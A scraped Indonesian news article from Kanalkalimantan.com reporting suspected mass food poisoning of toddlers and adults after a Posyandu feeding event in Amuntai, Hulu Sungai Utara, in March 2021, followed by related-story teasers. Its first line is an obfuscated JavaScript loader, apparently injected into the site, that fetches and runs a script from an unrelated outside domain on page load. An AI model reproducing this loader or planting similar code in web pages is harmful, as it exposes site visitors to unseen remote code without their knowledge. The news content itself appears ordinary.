(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Puluhan anak bawah lima tahun (Balita) dan orang dewasa diduga mengalami keracunan massal usai menyantap makanan dalam sebuah kegiatan Posyandu pemberian makanan tambahan di Desa Datu Kuning, Kecamatan Amuntai Tengah, Kabupaten Kabupaten Hulu Sungai Utara (HSU), Senin (8/3/2021) sore.
Akibatnya sejumlah anak beserta ibu-ibu yang mengalami gejala keracunan dilarikan ke UPT Puskesmas Alabio dan sebagian lagi dilarikan ke RSUD Pambalah Batung Amuntai untuk menjalani perawatan.
Plt Kepala Dinas Kesehatan Kabupaten HSU H Danu F Fotohena saat dikonfirmasi Kanalkalimantan.com, Senin (8/3/2021) malam, membenarkan kejadian tersebut yang bermula ketika acara pemberian makanan tambahan saat Posyandu Balita.
Korban keracunan dirawat di Puskesmas Alabio. Foto: ist
“Untuk korban diperkirakan masih ada malam ini balita dan warga yang datang ke Puskesmas Alabio, sebagian dirujuk ke RSUD Pambalah Batung,” ujar Danu sekitar pukul 20.00 Wita.
Menurut Danu, untuk jumlah keseluruhan yang datang ke Posyandu diperkirakan 70 orang (Bumil dan Balita). Untuk korban keracunan 21 Balita dan 5 orang dewasa.
Dugaan sementara pihak Dinas Kesehatan HSU makanan yang dikonsumsi Bumil mendapatkan nasi kotak, sedangkan untuk Balita mengkonsumsi soto.
Sementara itu, untuk para korban yang umur bayi 0-6 bulan masih aman, sedangkan kisaran yang jadi korban umur 1 tahun ke atas.
“Diduga keracunan kimia makanan, tapi hasil pastinya kita nunggu hasil pemeriksaan sampel di Labkes Banjarbaru dulu, besok sudah dikirim sampelnya, dan besok Insyaallah sudah diketahui hasilnya untuk kimianya,” jelas Danu.
Danu menyebut, korban kemungkinan bisa bertambah, sehingga sampai saat ini Tim PSC Dinkes HSU standby ddi Puskesmas Alabio.
“Tadi (Tim PSC Dinkes) juga menyisir ke TKP Didampingi Kadesnya, memantau kondisi Balita dan Bumil yang masih berada di rumah, masih ada yang belum mau dievakuasi atau dirujuk ke Puskesmas, tapi selalu dimonitor dan diberikan nomot kontak PSC jika sudah mau dirujuk, kita siaga 24 jam,” pungkasnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.